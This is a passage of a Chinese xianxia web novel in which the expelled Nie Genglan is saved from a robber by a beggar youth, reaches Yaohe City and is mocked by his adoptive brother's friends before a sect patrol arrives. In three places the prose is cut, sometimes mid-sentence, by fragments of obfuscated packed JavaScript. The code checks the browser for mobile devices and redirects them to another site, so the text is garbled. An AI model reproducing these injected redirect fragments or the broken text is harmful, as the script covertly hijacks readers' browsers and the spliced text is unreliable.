聂更阑知道自己再无路可逃,转身双膝一弯要跪,却被沈端枫及时扶起。 “更阑!”女子容色冷肃正要训斥,下一刻却化作惊愕,“你的脸……” 聂更阑这才记起脸上新添的疤痕,默然垂眸,“没什么,受了点伤。” 沈端枫松了口气,“你毫无修为灵力,在瘴雾沼失踪十几日没有性命之虞,已算万幸。” “你到底去哪儿了,家里上上下下都找不到你,我们都以为你逃出去再也不回来了!” 聂更阑一僵,“您说什么?” * 在沈端枫的告知下,聂更阑才得知自己居然在瘴雾沼泽外整整昏睡了十三天! “斟儿他们早已出发前往灵音宗参加弟子大选,你父亲大发雷霆,斥你品性恶劣忤逆不孝,当众宣布将你逐出聂家。” “我不放心出来寻你,心想至少也要见到你最后一面。更阑,你暂时是回不去聂家了,你父亲他在气头上,短时间内不会认你这个儿子。” 沈端枫说到最后声音已经渐渐低了下去。 被逐出聂家么。 聂更阑一颗心在一息之间冷透。 他回到失散十几年的亲人身边不过才月余,就要再次成为孤儿么? “母亲。”少年重重跪了下去。 “我打算往灵音宗参加弟子大选,唯有此道才能让我存活于这世间。” 沈端枫暗暗叹息,将他扶起。 “为今之计你只能搏上一搏,更阑,修仙大道艰苦卓绝,娘不知你是否能受得了这番苦头,若是……” 聂更阑语气透着从未有过的平静:“您看看我脸上的疤痕,我逃出来就是为进入瘴雾沼寻找机缘,给脸上添上这道伤疤。” 沈端枫愕然,旋即很快明白过来。 “孩子……” 聂更阑重新跪在地上,庄而重之地朝女人磕了三个头。 “多谢您对更阑的关心和教诲,无论我是否能顺利活下去,我都绝无怨言。” 沈端枫闻言,心绪泛起一阵波澜,不过修炼的道让她波动的心绪很快变得平淡如水。 “母亲支持你的决定,对于你成长的经历而言,顺利在修真界活下去何尝不是你所追求的道?” 沈端枫神情淡然宁远,自腰间拿出一个储物袋,“这袋子里有一些灵石,还有不需要修为就能使用的低阶符篆,如何使用我已经在上头贴上了字条,还有一些小物件,应该都是你能用得上的。” “你求道之心初建,此时上路最适合不过,斟儿他们已经出发三天,你须得坐马车日夜兼程才能及时赶到灵音宗了。” 聂更阑又重重磕了一个头,收下储物袋,“谢谢——” 他把储物袋挂在腰间,犹豫几息,最终还是唤了声:“——娘。” 随后,他没有丝毫犹豫,坚定地转身离开。 身后的人忽然叫出声:“更阑。” 少年的背影停下,并未回头。 “阑儿,你记住,娘修的是清心道。” 聂更阑鼻中一酸,微微颔首,头也不回深一脚浅一脚往前走去。 10. 小乞丐 * 沈端枫给聂更阑的储物袋里不仅有灵石、高阶丹药,也有一些低阶符篆、火折子、水囊和干粮之类不须灵力凡人也能使用的物件。 且储物袋里还放了张写着备注的字条。 一枚上品灵石可换一百枚中品灵石,一枚中品灵石可换一百枚下品灵石。 储物袋里共有五百枚上品灵石。 以及一些低阶符篆,如低阶驱邪符篆,明心静气符等等,还有丹药,有十枚高阶丹药,以及中阶丹药若干,都是补气培元的,疗伤丹药也有不少。 聂更阑一时间看花了眼。 他不知道这储物袋的东西对他一个孤单踏上修仙路的少年意味着什么,也不知道自己不知不觉间在普通散修中已经算得上是“小小富豪”。 聂更阑挑了一颗疗伤丹服下,不过片刻,身上被食人花和火麒麟刺出的伤痕化出缕缕白烟,痊愈了。 又服下一颗培元丹后,他浑身疲累一扫而空,开始慢慢往树林的北边走去。终于来到镇子上时,聂更阑看一眼身上脏兮兮破烂的家仆衣服。 他有些犹豫,不知道买一套衣服够不够,正犹豫着,已经来到一家成衣店门前。店家看到一个脸上有狰狞疤痕的少年起初吓了一跳,不过很快笑脸相迎上来,“小哥,买件法衣不?只要五十下品灵石,低阶法衣即可带走!御寒驱热防虫什么的都不成问题,买一件吧?” 只需五十下品灵石? 聂更阑暗暗松了口气,直接拿出储物袋:“拿一件。” 店家脸上笑成了花,“好嘞!” 聂更阑当场换上新法衣,由于对灵石的数目有了概念,他鼓起勇气去询问了租马车的价格,没想到只需二十枚中品灵石,于是直接包下一辆马车上路。付灵石时,车夫一眼扫到他储物袋里的东西,默默放下车帘,扬起马鞭出发。 聂更阑靠在车壁上闭目休憩时,才发觉早已饥肠辘辘。他拿出储物袋里的干粮和水,盯着发了很久的呆,心里不是滋味。 从进聂家以来,他从未在亲人身上感受到一丝温情,所有人视他为草芥,一根能随时捏在手里碾碎的最不起眼的小草。 离开聂家,聂更阑反而感到前所未有的轻松,仿佛逃离了一座随时能扼住自己咽喉窒息的牢笼。哪怕自己最后悲惨地死在他人手里,也丝毫不后悔。 从凡界回到双亲身边的少年,不过一月之余,永远地离开了聂家庄。 马车一路往北而行。 灵音宗往北走,御剑的话得三天三夜,坐马车至少也得十天的车程。 聂更阑在马车里睡了会儿,就感到身上寒气越来越重,不一会儿就被冻醒了。他这才记起,除了在瘴雾沼受的伤,他之前在聂家祠堂罚跪受的寒气还未祛除。 他在储物袋里翻找一阵,找到一枚高阶“清韵丹”,拈起丹药仰头吞下。不一会儿,体内血液脉络涌出无数细小的暖流。等到身上的寒气终于被祛除干净,少年安心在角落躺下,闭目养眠。 约莫一天一夜的路程后,马车在某处山坳忽然一震,只听车夫“吁”了一声,马嘶鸣出声,接着整个车身安静下来。 聂更阑从梦中惊醒,听到车夫的声音从外头传来,“客人,路中央躺了个人,堵住了去路。” 聂更阑掀开车帘探出头,问:“什么人躺在那——” 话未说完,一把冰凉的匕首抵上腰间。 聂更阑浑身僵住。 车夫粗哑的嗓门在耳边传来:“把储物袋交出来,否则别怪我手下不留情。” 聂更阑后背冒出冷汗,脑子急速转动企图找到可以脱身的法子。 忽的,他脸上半尺长的疤痕似乎动了动,聂更阑只觉得脸上又痒又辣,还没想出任何对策,就听到车夫发出一声惊呼。 “啊!” 当啷一声匕首掉落在地,车夫自己也摔落在落满碎石的地面,疼得不住翻滚。 聂更阑惊魂未定看过去,发现是他的眼睛被符篆打中,那双浑浊的眼球正燃着一簇妖冶的蓝色火焰。 “光天化日之下抢劫,你胆子可真不小。” 聂更阑朝上方的树干看去,只见一个和他差不多年岁的小乞丐正冲他眨眨眼,随之跳了下来。 车夫还在惨叫,一边从自己的储物袋里翻找丹药吞下。 小乞丐站在聂更阑身侧咯咯笑个不停,“我这符篆可是一个元婴修士好心送我的,名为毒咒符,若是半个时辰内没有相对品阶的清毒符篆给你解咒,这火焰怕是要把你的眼球灼瞎了。” 车夫恶态毕露,二话不说顶着眼部剧烈的灼痛感一跃而起,“老子先杀了你们两个乳臭未乾的小子,你们手里的宝物还不是尽归老子所有!“ 聂更阑吓得连连后退,情急之中记起自己还有保命的符篆,立刻去翻储物袋。 但小乞丐比他更快,只见他左右手各捏了一张符篆,机敏地往车夫脸上扔去。 还未等车夫有所动作,他身上已经布满了和眼睛一样蓝色的火焰。 “啊啊啊!” 他猝不及防倒地,再次滚落在碎石地面,痛苦嚎叫不停地翻滚。 小乞丐啐了一口:“想杀我们两个,做梦,你还是乖乖躺在这等着被人杀和夺宝吧!” 说罢朝呆愣的聂更阑走过去,拉起他的手。 聂更阑突然清醒,猛地甩开小乞丐的手后退到马车边缘。 “嗐,别愣着了,此地不易久留,再不走,你的储物袋又要被人盯上了。” 小乞丐的话提醒了聂更阑,他一咬牙跳上马车,小乞丐麻溜地坐到车头,“我来赶车。” 聂更阑忍不住从帘子里探出头,看向依旧在打滚嚎叫的车夫,“我们抢了他的马车,真的可以吗?” 小乞丐像是在打量怪物一样盯着他,“如果不是我,他恐怕已经把你杀了,这人还扬言要杀我。小兄弟,杀人夺宝的事修真界随处可见,你从哪个世外桃源来的,我还是第一次听到有人替杀人者说话的。” 聂更阑耳边顿时响起生母说过的话。 “修真界向来弱肉强食,以武为尊……” 原来修真界的残酷所言非虚,他头一次上路就遇到了。 聂更阑默默闭嘴,不再出声。 小乞丐眨眨眼,咳嗽一声,“一看就知道你也是去灵音宗参加弟子大选的对吧?咱们目的地一致,驾!” 他扬起马鞭一甩,驾车离开。 烟尘滚滚而起很快又平息,山道上只剩下车夫嘶哑的惨叫声,久久不息。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631753|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不知道是否因为有小乞丐在,接下来的路程异常顺利。 随后,经过一处镇子时,两人下车去补给物资。 上次急着离开那条被车夫意欲杀人夺宝的山道,这几天又都在赶路,入夜则歇息,聂更阑没怎么好好和小乞丐说过话,这次是总算是看清了小他的真面目。 这是个和聂更阑差不多年纪的少年,有着一双灵动狡黠的眼睛,假如忽略脸上那层灰扑扑的粉尘,可以算得上是一个清秀俊气的少年。 两人结伴进了镇子,聂更阑要补给干粮,拿储物袋里的灵石付账时,被小乞丐瞥见一把拦下。 “财不外露。” 小乞丐眼疾手快从袋子里拿了十块下品灵石付给摊主,拿上吃的拉着聂更阑离开。 回到马车,小乞丐又祭出一道符篆散于车厢内,看到聂更阑的目光,他解释道:“这是隔音符,能杜绝大部分修为低下修士的窥听。” 说着,他恢复正常音量问道,“哎,你是从哪儿来的小少爷,怎么这么不谙世事?” 聂更阑对小乞丐自来熟的模样极为警惕,面对问题只是沉默。 小乞丐朝他伸出手,“嗐,我叫许田田,就是个小散修,也打算去灵音宗参加大选,要是侥幸被选中,不仅有师父带我修行,衣食也不用愁啦。” 他又道:“你难道不知道财不外露的道理?方才我见你付灵石丝毫不知道遮掩,如果不小心点儿,恐怕又会招来杀人夺宝的阴险玩意儿。” 聂更阑声音很低:“我……” 许田田自顾自地说:“你啊应该把上品灵石多换一些中品灵石和下品灵石,这样就不会让别人看到那些上品灵石了。” “还有啊,你那些丹药什么的也往里收一收,千万别让人看到了。唉,如果不是遇到我,真怕你还没到灵音宗就曝尸荒野喽。” 聂更阑在绿苑时一直自诩机灵聪明,但到了修真界这个完全陌生的地域,可以说人界的规则很多时候不适应于人界。 出了聂家庄以后,他算是深刻意识到了杀人夺宝居然是如此稀松平常的一件事,就连一个大人都可以随意抢夺一个孩子的物品。 许田田哎了一声:“我就告诉你吧,除了那些以除魔卫道为己任的名门大派,散修的修炼环境是极为恶劣的,都是黑吃黑,有良心的散修不会这么做,但大部分都是踩着别人的血肉和法宝提上去的修为……” 聂更阑默默听了许久,最后按捺不住问了一句:“倘若碰上大魔头,譬如那个白衣人,我们岂不是死无葬身之地?” 许田田被噎住,过了好一会儿哈哈大笑起来:“你还真是个什么也不懂的小白啊,白衣人修为已经接近大乘期,哪能看得上这点丹药和灵石,能盯上你的,修为都不会超过金丹,明白了嘛?” “就像前几天那个车夫,我看他修为绝对不会超过筑基中期,虽然不准不过也大差不差啦。” 除了望舒老人,聂更阑第一次如此细致地了解到这么多关于修真界的事。他不免好奇地提了几个问题。 这些问题像是触发了什么机关,一下子打开许田田的话匣子。 于是,聂更阑就这么听了许田田一路的念叨,七八日后,两人在灵音宗弟子大选前顺利赶到了山脚下的杳鹤城。 11. 杳鹤城 灵音宗乃是修真界四大宗门之一,近百年来来更是跃居宗门之首,成为修真界趋之若鹜的宗门。 聂更阑和许田田进入杳鹤城之前,许田田提议把马车弃了直接进城,聂更阑不解,问为什么。 “这几天临近弟子大选,都是各路人马进城的马车和人流,不想被堵得半日进不了城最好弃了。况且以后我们要拜入宗门修炼学习御剑飞行,留着这马车也没用。” 聂更阑默然,率先起身下马车。 果然,在进城门时人和马车已经围得水泄不通,就连城门上方的阵法入口,一艘艘飞舟也在挨个排队等待进入。 许田田看着上方一水的飞舟,有豪华的,朴素的,形形色色,忽然就捅了捅聂更阑胳膊,“哎,聂道友,起初我们为什么不租一条飞舟来着?” 聂更阑:“飞舟,应当很贵吧。”他当初和聂重远回聂家时乘坐的飞舟相当豪华,是以他印象里飞舟就是极奢侈的一个出行方式。 许田田挠了挠头:“贵嘛?我听说租飞舟最便宜也有二十块下品灵石一艘的哇,咱们当时可真迷糊……嗐,不管啦,顺利到了杳鹤城就好。” 差不多半炷香后,聂更阑和许田田终于被人流挤进杳鹤城,人流和车马摩肩接踵一眼望不到头,压根看不到前方的路。 聂更阑看向许田田,不禁对他多了几分佩服。猜得真准。 “我滴个上天无量元始天尊啊,这要到哪年才走完这条街,若不是杳鹤城灵气充沛,我都要快被这些人挤成人干了……” 许田田说着,深呼吸,贪婪地大口大口吸着充盈的灵气,“到了灵音宗来,不就是为这点灵气嘛……” 聂更阑极力用包袱抵在胸口不让自己和前面的秃头胖子前胸贴后背,低声往外蹦字:“灵、气?” “是啊,”许田田几乎快被挤到一匹马的屁股上了,恼得干脆用手推着马屁股往前走,“你没感觉到吗,咱们一路上越靠近灵音宗灵气就越发充沛。” 聂更阑默默回想,近几日他的身体轻盈不少,灵台也越发清明,他还以为是自己伤势痊愈的缘故,原来却是和灵气有关么? 许田田得知他的想法后,道:“没错,正是和灵气有关,这灵音宗据说有清鸿剑尊坐镇,灵气是流月大陆最为充裕之地呢。灵音宗能成为宗门之首也有这层原因在,大伙都挤破了头想进灵音宗,嘿嘿。” 他想伸展腿脚结果发现没空间施展,只能一拍前面的马屁股催促前边的人动一动,“你只感到灵台清明,估计还没引气入体吧?怪不得感受不明显。” “什么是引气入体?” “这个嘛……总的来说,就是把灵气引入丹田或者灵根让其吸收,化为己用。” “引气入体是修炼的基础,待你拜入灵音宗修习自然就明白啦。”许田田说着,被前边的马蹄子踩了一脚, “嘿,马大哥你还跟我我较劲……”许田田开始和马干上了。 聂更阑:“……” 他虽然不会引气入体,也没在十里开外就感受到灵气如何不同,但进入杳鹤城后,他确实有种许田田描述的轻飘飘的感觉。 思及此,他道:“所以,灵音宗四周的灵气很充足,越充足,越利于修炼?” “答对喽……你大爷的马大哥,你甩马蹄子能不能看着点,后面的弟兄你就不管了是吧,小爷快被你踩扁了!” 许田田和前面的马彻底干上了,四周顿时一片混乱,嘶鸣声喊叫声四起,许田田的脸再次被迫和马屁股对上。 “卧槽,你个死变态想对我的马做什么?” “睁大你的眼睛看清楚,是你的马企图对我做点儿什么,小爷我要是会御剑还用得着在这里挤马屁股!喂喂,说话就好好说,你别乱动,你的马屁股又要怼到我嘴——” 杳鹤城门口附近的一条主干道人山人海,聂更阑和许田田足足挤了一炷香的功夫才突破重围挤出主干道。 “呸呸呸!”许田田一个劲往外吐马毛,拉起聂更阑就往街那边冲,“走,先找住的地方,否则客栈就要满了!” 不过还没等两人还没跑出几步许田田就被甩开了手,他一回头,就看到聂更阑正沉着脸看他。 许田田一拍脑门:“我一时情急忘了你不喜欢被人碰的毛病,聂道友,赶紧跟上,晚了只能睡大街和破庙了呀!” 聂更阑于是跟上许田田,凡是碰到客栈都进去问,但无一例外都已经客满了。 连着问了四五家后,聂更阑正要说住破庙也没事,就听到许田田找人问了城里最贵的客栈是哪家,招手让聂更阑跟上,再次开始讲他的经验之谈:“住得起贵的客栈的人少,咱们直接奔着那儿去,省时省力,否则再找下去真要露宿街头了。” 果然,两人找到城里最豪华的蓬莱客栈时,天地玄黄四个等级的房,还剩下两间天字号和一间玄字号的房间。 后面的木牌上,则标着天字号房一晚上三块中品灵石。 聂更阑毫不犹豫掏出灵石:“两间天字号房。” 掌柜的看到灵石顿时笑起一脸褶子,“好嘞客官,两间天字号房!” 跑堂的店小二正要引客人上楼,就听到一阵讥讽声传来。 “云斟,我没看花眼吧,这脸上有一道疤的丑东西是谁啊?” 聂更阑一僵,缓缓抬头,顿时看到几张熟悉的面孔正从二楼俯视着大堂。 其中一个,正是他那毫无血缘的大哥,聂云斟。他正阴恻恻地盯着聂更阑和许田田,心里惊疑不定。 这废物去了瘴雾沼居然没死,还完好无损地到了杳鹤城! 方才说话的周炎此刻摇着扇子一脸笑眯眯,他们的跟班汪淼淼躲在两人身后,看一眼聂更阑又飞快地低下头,依旧不敢吱声。 许田田捅了捅聂更阑胳膊,“这些都是你朋友?” 聂更阑摇摇头。 周炎晃着扇子,神情全是揶揄,“依我看,你二人同住一间房便好,住两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631754|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间作甚?” 许田田得知他们不是聂更阑的朋友,也大致明白了都是些来者不善的,扬扬眉道:“你的意思是我们住不起?” “倒不是这个意思,”周炎扫了眼许田田身上穿的乞丐衣服,为了定下房间,聂更阑都没来得及给他买身新衣服,“我的意思是,这位聂二少爷有断袖之癖,带着这么位水灵灵的……呃,小乞丐进来住房,可不得趁机住一间方便占便宜么?” 聂更阑心里一紧,顿时觉得脸上火辣辣仿佛被当众抽了一巴掌,仿佛四周看过来的目光都变得怪异不少。 许田田气得指着周炎大声反驳,“休要胡说八道,聂道友连不小心碰我一下都如惊弓之鸟,什么断袖,你才是断袖!” 周炎以扇子掩面低低笑出声,随即开始放声大笑。这一笑,立即引来所有大堂以及二楼客人的视线。 聂更阑隐隐感觉到周炎要说什么,神情阴沉地攥紧了拳头。 果然,只听周炎道:“他之前可在风月场做过数年小倌,你说他到底喜不喜欢男人?恐怕他如今还在矜持没露出尾巴,这位道友你可得警醒这点儿,否则你什么时候被他吃掉的都不知道,哈哈哈哈!” 许田田愣了愣,飞快地看一眼聂更阑,随后往他身前一站将他挡住,凶巴巴瞪着聂云斟周炎几人。 “小爷劝你们慎言,嘴巴不干净要不要我塞几张清洁符给你们洗一洗?” 聂云斟轻蔑地扯着唇角,盯着楼下聂更阑脸上那道触目惊心的疤痕,“弟弟,别来无恙,你被邢家退婚后我还以为你想不开离家出走,连父亲都说不要你这个儿子了,没想到居然能杳鹤城遇到你。” 话音一落,客栈里旋即炸开了锅。 “据说聂家找回了失散多年的亲生儿子,但却是个四灵根废物,后来聂家打算把他嫁给邢家长子,却被当众退婚……” “不是吧这么惨?怪不得他宁愿不回聂家了。” “我看不是他不想回,而是聂家主不想留下这么个废物儿子吧,亲生的还不如毫无血缘的,这聂云斟听说还是个天才,才十二岁就已经筑基,他日进入灵音宗可不得是天之骄子。” “话说这个聂二少真在人界当过小倌?又是断袖又是小倌,废物还被当众退婚,给聂家丢尽了脸,聂家不要他也是正常……” “他脸上那条疤是怎么回事,也太吓人了,看得我心里发毛,该不会是心灰意冷故意把脸弄成这样的?” …… 聂更阑隐在袖袍下的拳头指尖掐入掌心,隐隐作痛,直至双目慢慢泛红。 那时,他在瘴雾沼看到这么多食人花才真正明白,这个毫无血缘关系的哥哥并不是要助他,而是要让他再也回不了聂家。 而陷害他的人却一次次在人前道貌岸然做出无辜的姿态。 聂更阑额头青筋暴起,太阳穴突突直跳,他体内热血翻腾,阴森的暴戾在眸中肆虐。 若有可能,他恨不得现在就杀了这伪君子。 12. 白影 四周,不堪的言论如浪潮般袭来。 许田田目露凶光,干脆把袖子撸起横在聂更阑面前,嗓门拔高如同被激怒的灵兽,“小爷再重申一遍,他不是断袖,他每次碰到我都跟碰到洪水猛兽似的往后躲,烦请诸位把嘴闭上,否则别怪我把你们都——” “许道友,”聂更阑神色沉沉打断许田田的恐吓,“无须解释,他们要说什么便随他们。” 许田田朝那些人切了一声,“走吧,赶路都没有和这帮八婆对峙累。” 两人在众多视线瞩目下来到二楼,却被周炎一把挡住去路,“哎,小乞丐,你这是打算接受聂二少的包养了?不是我说,你俩口味还真重,一个喜欢乞丐,一个喜欢脸上有块那么丑的疤痕的断袖,你俩莫非是真的天生一对——” “唔唔,唔唔!” 周炎话没说完就被一张直奔脑门而来的符篆袭击,瞬间变成哑巴,嘴一张一合,但发不出任何声音。 许田田拍拍手:“这家客栈什么都好,就是有那么几只苍蝇嗡嗡在叫很烦人。” “聂道友,我们上去吧,别和苍蝇玩儿,免得身上沾了臭狗屎弄得一身脏。” 聂更阑点点头,和许田田往三楼而去。 周炎面红耳赤:“呜呜呜!(给本少爷解开)” 汪妙妙缩着个脑袋如鹌鹑:“他、他好像在说你们是臭狗屎。” 周炎:“呜呜呜呜呜!(废话,要你说?)” 周炎转向聂云斟:“呜呜呜!(帮我解开这符咒,我要弄死他们)” 聂云斟睨他一眼,放低声音:“大选在即,多一事不如少一事,你想让我在众目睽睽之下落得个欺凌弟弟的罪名吗?” 扔下这句话,聂云斟亦是往楼上客房走去。 周炎哑巴吃了闷亏不敢再折腾,和汪淼淼赶紧跟上。 这几人都厚,二楼和大堂议论一阵聂家这两兄弟后,慢慢地又转到了其他话题,开始谈论这次灵音宗炙手可热的拜师人选都有谁。 聂更阑和许田田把行李放到各自房里,随后聂更阑带着许田田出了客栈直奔成衣店,直接给许田田买了一身新法衣。 一件中阶法衣也才五十下品灵石。 许田田看了眼聂更阑身上的法衣,“你这件多少灵石?” 聂更阑:“三十。” “啧” “买贵啦,你被店家坑了。” 许田田:“中阶法衣和低阶法衣的作用差得不是一星半点,中阶的五十下品灵石很划算,你再买件中阶的吧。” 聂更阑扫了眼另一头标价二十块中品灵石的高阶法衣,眼都不眨一下掏出灵石买下两件,然后递给许田田一件。 “哇!”许田田捧着法衣瞪大眼睛,“二十块中品灵石呢,真要送给我?” 聂更阑点头:“嗯。” 许田田欢天喜地把法衣换上,“谢了聂道友!” 聂更阑又带着许田田去添置了一些新装备,譬如鞋袜,发带之类的物品。 整个过程,聂更阑沉默无言,只有许田田在旁叽叽喳喳。 许田田感受到怪异的气氛,终于忍不住推推同伴的胳膊,“那个,你别不开心了,咱们努力进灵音宗修炼,将来狠狠打他们的脸,让他们都闭上臭嘴!” 聂更阑嘴角动了动,最终,勉强扯起一个弧度。 许田田知道他心情不好,干脆转移话题开始谈论这次弟子大选都有世家弟子参加,“宗门之首不是吹的,除了你们聂家,那个周家还有汪家,听说流月大陆东南边儿的慕容家和君家也来人了,不过徐家和邢家倒是去了临雾宗,临雾宗财大气粗,估计是给他们开了什么诱人的条件吧。” 聂更阑默然。 怪不得,他没看到邢简和那个徐少,也就是徐之鸣。 两人在杳鹤城大街沿路逛下去,聂更阑添置了一个规格更大些的储物袋。 许田田:“这个储物袋啊,依旧是不需要修为就能打开,虽然贵点儿但很适合你,如果以后修为水涨船高,你再买那种需要认主的,现在这种普通的谁都能打开,所以千万不能弄丢了。” 许田田一路给聂更阑讲解了许多修真界的小知识。 聂更阑之前在绿苑,一年到头都没什么机会出去透气,成日拘在绿苑后院的阁楼和花园里头。 除了……初入绿苑他趁机逃出来那次。 这次,他是头一遭逛修真界的城池。 头顶上方三不五时有飞舟和飞剑经过,大街上依旧车水马龙。除此之外,聂更阑还看到不少稀奇古怪的灵兽,其中有一头居然是鹿尾马身狮头兽,通体雪白无暇,正被人骑着慢悠悠地在街上走。 聂更阑盯着那头鹿尾马身狮头兽看了许久,直到那道纯白如雪的灵兽消失在视野中。 许田田声音适时插/进来:“你别看那家伙浑身雪白无暇很神圣,知不知道它以吃什么为生?” “吃什么?” “呵呵,那家伙专吃少女的秀发,只要不是少女的头发它都嗅得出来,还别说,为了长年四季搜罗到少女秀发,养这头家伙花费不知有多高昂。” 聂更阑惊得睁圆了眼睛。 路边摊贩不少,许田田之后又撺掇聂更阑买了不少小玩意儿,什么低阶符篆啦,玲珑球,桃木剑等等,不贵,但是买着心安。 二人正打量一块价值三百上品灵石的留影石时,这时,天玑坊那边传来一阵骚动,紧跟着有人惊呼出声:“白衣人,我看到白衣人了,就这么一闪而逝飞过去,但是我确实看到他了!” “怎么可能,杳鹤城就在灵音宗山脚下,那位清鸿剑尊就坐镇在灵音宗,魔头怎敢在这儿露脸?“ “我确实没看错,各位,不想死的这几日还是不要出杳鹤城地界吧,若是被白衣人盯上可绝对没活路啊!” “上次白衣人还残忍杀害了天水阁的一名弟子,据说元神俱灭,救都没法救回来,实在是人神共愤啊!” “近几年他杀了不知多少修真界名门正派的修士,就连那位向来以慈悲著称的慧心禅师都血肉模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631755|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊死于自己禅房中,唉,除了魔族之外,不知从哪忽然钻出来这么一个嗜血残忍的大魔头……” 随着修士们的声声议论,原本拥堵的街道很快变得冷清,回家的回家,回客栈的回客栈,就连各个店铺也麻溜地收拾好关了门。 聂更阑却陷入之前一件小事的记忆中。 在聂家庄后山,那个模糊看不清面容的白影裹挟自己,之后又放过自己离开。 白衣人分明有能力置他于死地,却放了他,还是……白衣人被赶来的聂重远沈端震慑了? 聂更阑尚且没想明白,反应过来时,已经被许田田拉着往蓬莱客栈快速跑。 聂更阑浑身瞬间打起颤栗,下意识甩开许田田的手,眉眼闪过一丝阴沉。 许田田一愣,赶紧道:“抱歉抱歉,我一时着急想拉着你赶紧跑,这不是害怕碰到白衣人嘛,对不住对不住。” 聂更阑看着许田田的神情,忽而心头涌上歉疚,声音变得低沉,“无妨,只要不是怀有恶意的触碰,其实……我可以忍受。” “嗐,看你这委屈的,别这样,要是不喜欢就别委屈自己,”许田田潇洒地一摆手,“我以后尽量不让你为难,放心吧。哎走走走,赶紧回客栈,要是碰到那个杀人不眨眼的大魔头咱们小命可就交代在这儿了。” 聂更阑点点头,和许田田迅速离开。 回到客栈时,所有人都堵在窗前朝外张望,既紧张又兴奋。 “白衣人到杳鹤城有什么目的,难道是打算破坏这次灵音宗的弟子大选?” “灵音宗的护山大阵可不是这么好闯的,哼,况且还有清鸿剑尊坐镇,他要是来就是自寻死路。” “白衣人现身灵音宗山下,很快就要有宗门派人过来查看,老天保佑那个大魔头已经走了,否则我出游得都提心吊胆的……” 有人道:“我赌白衣人不敢光明正在现身,轻鸿剑尊就在山上,他敢露头,只有死路一条!” 那人的同伴小声嘀咕:“可是,听说剑尊不是轻易不能出山么?以那白衣魔头的实力,就算是宗主亲临恐怕也敌不过吧?” 众人闻此言论,又是一阵唏嘘。 “事急从权,倘若白衣魔头真来了,我还是希望清鸿剑尊能出面的……” 客栈内一片人声鼎沸,二楼处,聂更阑和许田田也在窗户旁往外张望。 外面街道已经萧条冷清,根本看不到一个人影。 那头,周炎啪地一声合上扇子,故意拉长声调,“哎,云斟,你不是说前段时间白衣人在你家后山出现过,还掳走过你那个废物弟弟,怎么他一点事儿都没有,还全须全尾地回来了啊?” 四周嘈杂的声音渐渐趋于安静。 周炎得意洋洋地大放厥词:“汪淼淼,你来说说,是不是白衣人被聂二少爷美色蛊惑,所以放他一马,哈哈哈,我就知道——唔唔唔!唔唔唔!” 周炎剩下的话没说出口,惊怒地瞪向许田田,才看见对方手里多了几张符篆,正鄙夷地和他对视挑衅。 13. 执事堂 “再乱吠试试?”许田田丝毫不惧地迎上周炎的目光。 聂云斟皱皱眉,祭出一张解咒符,周炎被堵住的声音瞬间飚出,“……丑八怪,脸上多了道疤还有本事勾得别人替你出头,信不信本少爷……唔唔唔!” 许田田手一挥,再次封住了他的声音。 聂云斟沉着脸一挥手,再次将周炎的符咒解开。 两人就这么一来一回拉扯十余次,一直寒着脸的聂更阑终于出声:“够了。” 许田田也就没再祭出符篆,挑眉把储物袋拉好。 聂云斟冷笑出声:“弟弟,虽然你被父亲驱逐出聂家,可只要你愿意我们依旧是兄弟,现在,你居然要向着一个外人与我作对?” “你假惺惺够了?”聂更阑心中的怒气终于被激起。 只差一丝契机,阴冷的怒意和暴躁就会面临爆发。 周炎恶狠狠道:“你到底怎么勾引小乞丐为你出头的,本少爷我倒是愿意洗耳恭听!” 许田田怒道:“你给我闭嘴!” 客栈里所有人都被这边的吵闹吸引了过来,看着两方人对峙,都在窃窃私语。 就在战火一触即发之际,不知道楼下大堂有谁喊了句:“灵音宗派人过来查看情况啦!” 果然话音落,七八人执剑而入,穿的都是统一沧浪色弟子服,端的是仙气飘飘,仪态肃清端正。 其中一个剑眉星目的青年出列拱手,“诸位道友,在下灵音宗执事堂安如风,我们得到消息白衣人出现在杳鹤城,故而前来巡查,顺便提点各位道友,在明日弟子大选到来之前,切莫生事端让白衣魔头钻了空隙再次残害修士。” 说着,安如风目光一一环视过众人,尤其在聂更阑等人身上停留几息,神情甚是肃穆威严。 客栈里一时鸦雀无声,都被安如风的气场镇住了。 安抚风身边的一个师弟这时一眼看到聂更阑,先是被他那道疤吓了一跳,然而多打量几眼之后,心里顿时被勾起一股躁意,凑上前:“哎,你是来参加弟子大选的吧,你脸上那道疤是怎么回事?需不需要在下帮忙看看……” “朔!”安如风厉声喝止,“不得放肆,回去领二十戒鞭!” 叫朔的师弟没想到自己会被罚鞭子,人一下子蔫了,“师兄,我是一时没忍住,不是故意的,就别罚我鞭子了吧。” 安抚风瞪他一眼:“还敢狡辩?不领罚,我就把你交给——” 